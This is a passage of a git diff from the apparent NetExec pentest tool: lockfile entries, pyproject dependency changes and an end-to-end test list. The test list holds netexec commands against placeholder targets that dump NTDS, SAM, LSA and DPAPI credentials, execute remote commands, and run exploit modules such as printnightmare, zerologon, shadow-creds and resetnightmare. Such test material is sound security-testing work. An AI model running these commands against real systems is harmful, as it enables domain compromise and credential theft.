"sspilib-0.5.0-cp314-cp314t-win_amd64.whl", hash = "sha256:7d7724d5dbb31f68e62465863dfb862fe2793281ce40d0c8f2dc60c8f07998f2"}, + {file = "sspilib-0.5.0-cp314-cp314t-win_arm64.whl", hash = "sha256:8ce23ec740dee025136370ed4ae64b7d1535368321049ef960012a57c93ebe15"}, + {file = "sspilib-0.5.0-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:cbf2c8a907fb51f0522a1360a7d9dc8b08fd0a6edf978ce6f3b96a0d95df6a60"}, + {file = "sspilib-0.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a9f40f896beecaa33530a55201c5c78f840ffc42aaeb9b0a41caaf0626508282"}, + {file = "sspilib-0.5.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:2b1d24be70dfe01733161c05862f6ab653d2f6d2e5bd52138f9dae9c91c23f2e"}, + {file = "sspilib-0.5.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:0f1b75967135d065139b94095c5b5312eb9e3316e6f6a9b317310f6b16ea47ba"}, + {file = "sspilib-0.5.0-cp39-cp39-win32.whl", hash = "sha256:ef3cbac859b2dfc50c9ee6e822bd0f65538196fe5c863f11a53ac13e6d08641c"}, + {file = "sspilib-0.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:a72f6c64e16e9f9ac7a0652579590de54b1c35d1304382d9a1195be1e1a3be6c"}, + {file = "sspilib-0.5.0-cp39-cp39-win_arm64.whl", hash = "sha256:f7a81176e0b59e68259c22f712ce3c411975b897dd32649f22a3aad41e621a21"}, + {file = "sspilib-0.5.0.tar.gz", hash = "sha256:b62f7f2602aa1add0505eee2417e2df24421224cb411e53bf3ae42a71b62fe98"}, +] + +[[package]] +name = "tabulate" +version = "0.10.0" +description = "Pretty-print tabular data" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "tabulate-0.10.0-py3-none-any.whl", hash = "sha256:f0b0622e567335c8fabaaa659f1b33bcb6ddfe2e496071b743aa113f8774f2d3"}, + {file = "tabulate-0.10.0.tar.gz", hash = "sha256:e2cfde8f79420f6deeffdeda9aaec3b6bc5abce947655d17ac662b126e48a60d"}, +] + +[package.extras] +widechars = ["wcwidth"] + +[[package]] +name = "termcolor" +version = "3.3.0" +description = "ANSI color formatting for output in terminal" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "termcolor-3.3.0-py3-none-any.whl", hash = "sha256:cf642efadaf0a8ebbbf4bc7a31cec2f9b5f21a9f726f4ccbb08192c9c26f43a5"}, + {file = "termcolor-3.3.0.tar.gz", hash = "sha256:348871ca648ec6a9a983a13ab626c0acce02f515b9e1983332b17af7979521c5"}, +] + +[package.extras] +tests = ["pytest", "pytest-cov"] + +[[package]] +name = "terminaltables3" +version = "4.0.0" +description = "Generate simple tables in terminals from a nested list of strings. Fork of terminaltables." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "terminaltables3-4.0.0-py3-none-any.whl", hash = "sha256:93b4c722f35400a7869cd630e2bbab616b129d1c47c628765c7f47baab2ca270"}, + {file = "terminaltables3-4.0.0.tar.gz", hash = "sha256:4e3eefe209aa89005a0a34d1525739424569729ee29b5e64a8dd51c5ebdab77f"}, +] + +[[package]] +name = "tqdm" +version = "4.70.0" +description = "Fast, Extensible Progress Meter" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "tqdm-4.70.0-py3-none-any.whl", hash = "sha256:7f585706bfddbdebf89daac705b2dfcc16890130727d3197ca62c732b4310953"}, + {file = "tqdm-4.70.0.tar.gz", hash = "sha256:55b0b0dbd97462d06ebee91e4dac24ed4d4702be82b24f07e6c1d27e08cea220"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + +[package.extras] +discord = ["envwrap", "requests"] +notebook = ["ipywidgets (>=6)"] +slack = ["envwrap", "slack-sdk"] +telegram = ["envwrap", "requests"] + +[[package]] +name = "typing-extensions" +version = "4.16.0" +description = "Backported and Experimental Type Hints for Python 3.9+" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8"}, + {file = "typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5"}, +] + +[[package]] +name = "typing-inspection" +version = "0.4.3" +description = "Runtime typing introspection tools" +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "typing_inspection-0.4.3-py3-none-any.whl", hash = "sha256:5f42b23858a91e0b4ef521f5418f03a0da3c9216fd2995ef5e73463100e676cd"}, + {file = "typing_inspection-0.4.3.tar.gz", hash = "sha256:c5f9ec1530b5c1e2c9bc34a84d9a3466ed1b2f3f2fa9f901368d9c5596210e4d"}, +] + +[package.dependencies] +typing-extensions = ">=4.15.0" + +[[package]] +name = "unicrypto" +version = "0.0.12" +description = "Unified interface for cryptographic libraries" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "unicrypto-0.0.12-py3-none-any.whl", hash = "sha256:6fb7e9bbaa60c49128ad6584201290ead99b703ae834c28911c82ddca38a0d6f"}, + {file = "unicrypto-0.0.12.tar.gz", hash = "sha256:7b7fc4f54d56422abbbc41f863f99b27a8674531f4a42003f3f953e4a722bde1"}, +] + +[package.dependencies] +pycryptodomex = "*" + +[[package]] +name = "urllib3" +version = "2.7.0" +description = "HTTP library with thread-safe connection pooling, file post, and more." +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897"}, + {file = "urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c"}, +] + +[package.extras] +brotli = ["brotli (>=1.2.0) ; platform_python_implementation == \"CPython\"", "brotlicffi (>=1.2.0.0) ; platform_python_implementation != \"CPython\""] +h2 = ["h2 (>=4,<5)"] +socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] +zstd = ["backports-zstd (>=1.0.0) ; python_version < \"3.14\""] + +[[package]] +name = "wcwidth" +version = "0.8.2" +description = "Measures the displayed width of unicode strings in a terminal" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "wcwidth-0.8.2-py3-none-any.whl", hash = "sha256:d63947694a0539a1d51e01eda7caf800c291020e6cdd7e28ad7b14dd33ad4f85"}, + {file = "wcwidth-0.8.2.tar.gz", hash = "sha256:91fbef97204b96a3d4d421609b80340b760cf33e26da123ff243d76b1fda8dda"}, +] + +[[package]] +name = "werkzeug" +version = "3.1.8" +description = "The comprehensive WSGI web application library." +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "werkzeug-3.1.8-py3-none-any.whl", hash = "sha256:63a77fb8892bf28ebc3178683445222aa500e48ebad5ec77b0ad80f8726b1f50"}, + {file = "werkzeug-3.1.8.tar.gz", hash = "sha256:9bad61a4268dac112f1c5cd4630a56ede601b6ed420300677a869083d70a4c44"}, +] + +[package.dependencies] +markupsafe = ">=2.1.1" + +[package.extras] +watchdog = ["watchdog (>=2.3)"] + +[[package]] +name = "winacl" +version = "0.1.9" +description = "ACL/ACE/Security Descriptor manipulation library in pure Python" +optional = false +python-versions = ">=3.6" +groups = ["main"] +files = [ + {file = "winacl-0.1.9-py3-none-any.whl", hash = "sha256:31ba781a35f3b1bd3c2ece994816c0a5fe113c73018689ab6118010ac0d15099"}, + {file = "winacl-0.1.9.tar.gz", hash = "sha256:af70c2ec30178bf9e3c8a1c48c25e8781235fe2c1b321adb46e2f2ae1f8d4aab"}, +] + +[package.dependencies] +cryptography = ">=38.0.1" + +[[package]] +name = "windows-curses" +version = "2.4.2" +description = "Support for the standard curses module on Windows" +optional = false +python-versions = "*" +groups = ["main"] +markers = "platform_system == \"Windows\"" +files = [ + {file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"}, + {file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"}, + {file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"}, + {file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"}, + {file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"}, + {file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"}, + {file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"}, + {file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"}, + {file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"}, + {file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"}, + {file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"}, + {file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"}, + {file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"}, + {file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"}, + {file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"}, + {file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"}, + {file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"}, + {file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"}, +] + +[[package]] +name = "xmltodict" +version = "1.0.4" +description = "Makes working with XML feel like you are working with JSON" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "xmltodict-1.0.4-py3-none-any.whl", hash = "sha256:a4a00d300b0e1c59fc2bfccb53d7b2e88c32f200df138a0dd2229f842497026a"}, + {file = "xmltodict-1.0.4.tar.gz", hash = "sha256:6d94c9f834dd9e44514162799d344d815a3a4faec913717a9ecbfa5be1bb8e61"}, +] + +[package.extras] +test = ["pytest", "pytest-cov"] + +[metadata] +lock-version = "2.1" +python-versions = ">=3.11,<4.0" +content-hash = "f3bdd08f336195dcad587423689f837cf2c8cabddf46358bb8a7f279512d4f65" diff --git a/pyproject.toml b/pyproject.toml index 56b2d70587..874c6f1681 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -3,7 +3,7 @@ name = "netexec" dynamic = ["version"] description = "The Network Execution tool" readme = "README.md" -requires-python = ">=3.10,<4.0" +requires-python = ">=3.11,<4.0" license = { text = "BSD-2-Clause" } authors = [ { name = "Marshall Hallenbeck", email = "marshall.hallenbeck@gmail.com" }, @@ -17,19 +17,21 @@ classifiers = [ "Topic :: Security" ] dependencies = [ - "aardwolf>=0.2.8", + "aardwolf>=0.2.16", "argcomplete>=3.1.4", "asyauth>=0.0.20", "beautifulsoup4>=4.11,<5", "bloodhound-ce @ git+https://github.com/blacklanternsecurity/BloodHound.py.git@bloodhound-ce", "certihound>=0.1.1", - "dploot>=3.2.2", + "cryptography>=42.0.8", + "dploot>=4.0.0", "dsinternals>=1.2.4", "jwt>=1.3.1", "lsassy>=3.1.11", "masky>=0.2.1", "minikerberos>=0.4.1", "neo4j>=5.0.0", + "netifaces (>=0.11.0,<0.12.0)", "paramiko>=3.3.1", "pefile>=2024.8.26,<2025.0.0", "pyasn1-modules>=0.3.0", @@ -45,8 +47,8 @@ dependencies = [ "terminaltables3>=4.0.0", "xmltodict>=0.13.0", # Git Dependencies + "certipy-nxc>=5.1.0.post1", "impacket @ git+https://github.com/blacklanternsecurity/impacket", - "certipy-ad @ git+https://github.com/Pennyw0rth/Certipy", "oscrypto @ git+https://github.com/wbond/oscrypto", "pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient", ] @@ -83,25 +85,22 @@ format = "{base}+{distance}.{commit}" requires = ["poetry-core>=1.0.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"] build-backend = "poetry_dynamic_versioning.backend" +# uv and poetry native dev group (PEP 735) [dependency-groups] dev = [ - "ruff>=0.15.20", + "flake8", + "shiv", + "pytest>=7.2.2,<8", + "ruff", ] -[tool.poetry.group.dev.dependencies] -flake8 = "*" -shiv = "*" -pytest = "^7.2.2" -ruff = "*" +# Supply-chain hardening: uv will ignore package artifacts uploaded to indexes +# within the last day, giving maintainers and scanners time to detect and remove +# malicious or compromised releases before they are selected during resolution. +[tool.uv] +exclude-newer = "1 day" [tool.ruff] -target-version = "py310" -exclude = [ - ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", - ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", - "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" -] - preview = true [tool.ruff.lint] @@ -113,7 +112,7 @@ ignore = [ "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012", "RUF052", "RUF059", "ASYNC240" + "PERF203", "RUF012", "RUF052", "RUF059", "ASYNC240", "RUF201" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings diff --git a/tests/e2e_commands.txt b/tests/e2e_commands.txt index 38025f4625..4f49d02af3 100644 --- a/tests/e2e_commands.txt +++ b/tests/e2e_commands.txt @@ -31,11 +31,13 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam --his netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --enabled --history netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --kerberos-keys +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --trust-keys +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ntds --just-trust-keys netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm wmi netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig --exec-method atexec @@ -44,6 +46,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file.txt --put-file TEST_NORMAL_FILE \\Windows\\Temp\\test_file2.txt netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-file \\Windows\\Temp\\test_file.txt /tmp/test_file.txt +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-folder \\Windows\\Temp\\ /tmp/test_folder/ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --no-admin-check ##### SMB PowerShell netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig @@ -144,6 +147,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_p netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M coerce_plus -o M=dfs LISTENER=127.0.0.1 # Will need to change the PID for your test system netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M pi -o PID=100 EXEC='dir' +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M printnightmare netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M procdump netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M putty netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman @@ -151,9 +155,6 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=disable netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M reg-query -o PATH=HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion KEY=DevicePath netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M runasppl -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o FILTER=WRITE -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M safe_shares -o EXCLUDE=IPC$,ADMIN$ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o SERVER=127.0.0.1 NAME=test netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M scuffy -o NAME=test CLEANUP=True netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M slinky -o SERVER=127.0.0.1 NAME=test @@ -179,7 +180,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologo #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWPASS=Password123 #netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M change-password -o NEWNTHASH=58A478135A93AC3BF058A5EA0E8FDB71 # test for multiple modules at once -netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M runasppl -M uac -M webdav -M wifi -M coerce_plus +netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler -M petitpotam -M zerologon -M nopac -M enum_av -M enum_dns -M gpp_autologin -M gpp_password -M lsassy -M impersonate -M install_elevated -M ioxidresolver -M ms17-010 -M ntlmv1 -M printnightmare -M runasppl -M uac -M webdav -M wifi -M coerce_plus ##### SMB Anonymous Auth netexec smb TARGET_HOST -u '' -p '' -M zerologon netexec smb TARGET_HOST -u '' -p '' -M petitpotam @@ -195,6 +196,8 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an e netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-snapshots netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2 netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sccm ##### WMI Modules netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler @@ -206,12 +209,22 @@ netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netc netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M bitlocker netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam +netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi ##### LDAP netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --simple-bind netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users-export /tmp/userlistOutputFilename.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ous +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --ous TARGET_OU netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid netexec ldap TARGET_HOST -u LOGIN_USERNAME -p '' --asreproast /tmp/output.txt netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --kerberoasting /tmp/kerberoasting1.txt @@ -226,10 +239,12 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dc-list ##### LDAP Modules netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M adcs +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M certipy-find netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M daclread -o TARGET=LOGIN_USERNAME ACTION=read netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dns-nonsecure netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-desc-users netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-info-users +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M tombstone netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-network netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M groupmembership -o USER=LOGIN_USERNAME netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M laps @@ -244,6 +259,17 @@ netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M whoami netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dump-computers netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M raisechild netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get-scriptpath +# Backup followed by revert restores the same Shadow Credentials state on the disposable test computer. +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=list +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=backup JSONFILE=nxc-shadow-creds-castelblack.json +netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=CASTELBLACK$ ACTION=revert JSONFILE=nxc-shadow-creds-castelblack.json +# These actions require the generated device ID for an automated round trip. +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=add +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=info DEVICE_ID=SHADOW_CREDS_DEVICE_ID +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M shadow-creds -o TARGET=SHADOW_CREDS_TARGET$ ACTION=remove DEVICE_ID=SHADOW_CREDS_DEVICE_ID +# resetnightmare resets a real account password with no restore and needs a controlled account with GenericWrite on its UPN + an unpatched DC, run manually, not in CI +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_PASSWORD=Password1 +#netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M resetnightmare -o TARGET=TARGET_ACCOUNT NEW_PASSWORD=Password123! UPN_USER=CONTROLLED_ACCOUNT UPN_NTHASH=31d6cfe0d16ae931b73c59d7e0c089c0 ##### WINRM netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig @@ -266,6 +292,14 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ntds-dump-raw -o TARGET=SAM,LSA,NTDS netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M aws-credentials +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p 